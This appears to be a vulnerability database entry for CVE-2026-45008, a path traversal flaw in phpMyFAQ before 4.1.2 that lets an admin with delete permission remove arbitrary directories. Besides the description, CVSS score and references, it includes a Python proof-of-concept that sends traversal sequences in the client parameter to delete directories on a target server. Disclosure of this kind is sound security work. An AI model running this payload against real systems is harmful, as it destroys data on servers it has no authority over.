CVE-2026-45008

Description

phpMyFAQ before 4.1.2 contains a path traversal vulnerability in Client::deleteClientFolder that allows admins with INSTANCE_DELETE permission to delete arbitrary directories. Attackers can submit traversal sequences like https://../../../<path> in the client URL parameter to recursively delete directories outside the intended clientFolder scope.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

No configuration data available.

phpMyFAQ < 4.1.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit(target, session_cookie, delete_path):
    """
    PoC for CVE-2026-45008: phpMyFAQ Path Traversal
    Deletes arbitrary directories via client parameter.
    """
    url = f"{target}/admin/index.php"
    headers = {
        "Cookie": f"PHPSESSID={session_cookie}"
    }
    
    # Payload using path traversal to delete a target directory
    # Example: delete_path = '../../../var/www/html/uploads'
    payload = {
        "action": "deleteclient",
        "client": f"https://{delete_path}"
    }
    
    try:
        response = requests.post(url, data=payload, headers=headers)
        if response.status_code == 200:
            print(f"[+] Request sent to delete: {delete_path}")
            print(f"[+] Response: {response.text[:100]}")
        else:
            print(f"[-] Failed to send request. Status code: {response.status_code}")
    except Exception as e:
        print(f"[-] Error: {e}")

# Usage
# exploit('http://localhost', 'valid_session_id', '../../../tmp/sensitive_folder')

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-45008
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-45008
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-45008/
[4] VulDB https://vuldb.com/cve/CVE-2026-45008
[5] https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-gh9p-q46p-57g2
[6] https://www.vulncheck.com/advisories/phpmyfaq-path-traversal-in-client-deleteclientfolder-via-url-parameter

Raw JSON Data

JSON

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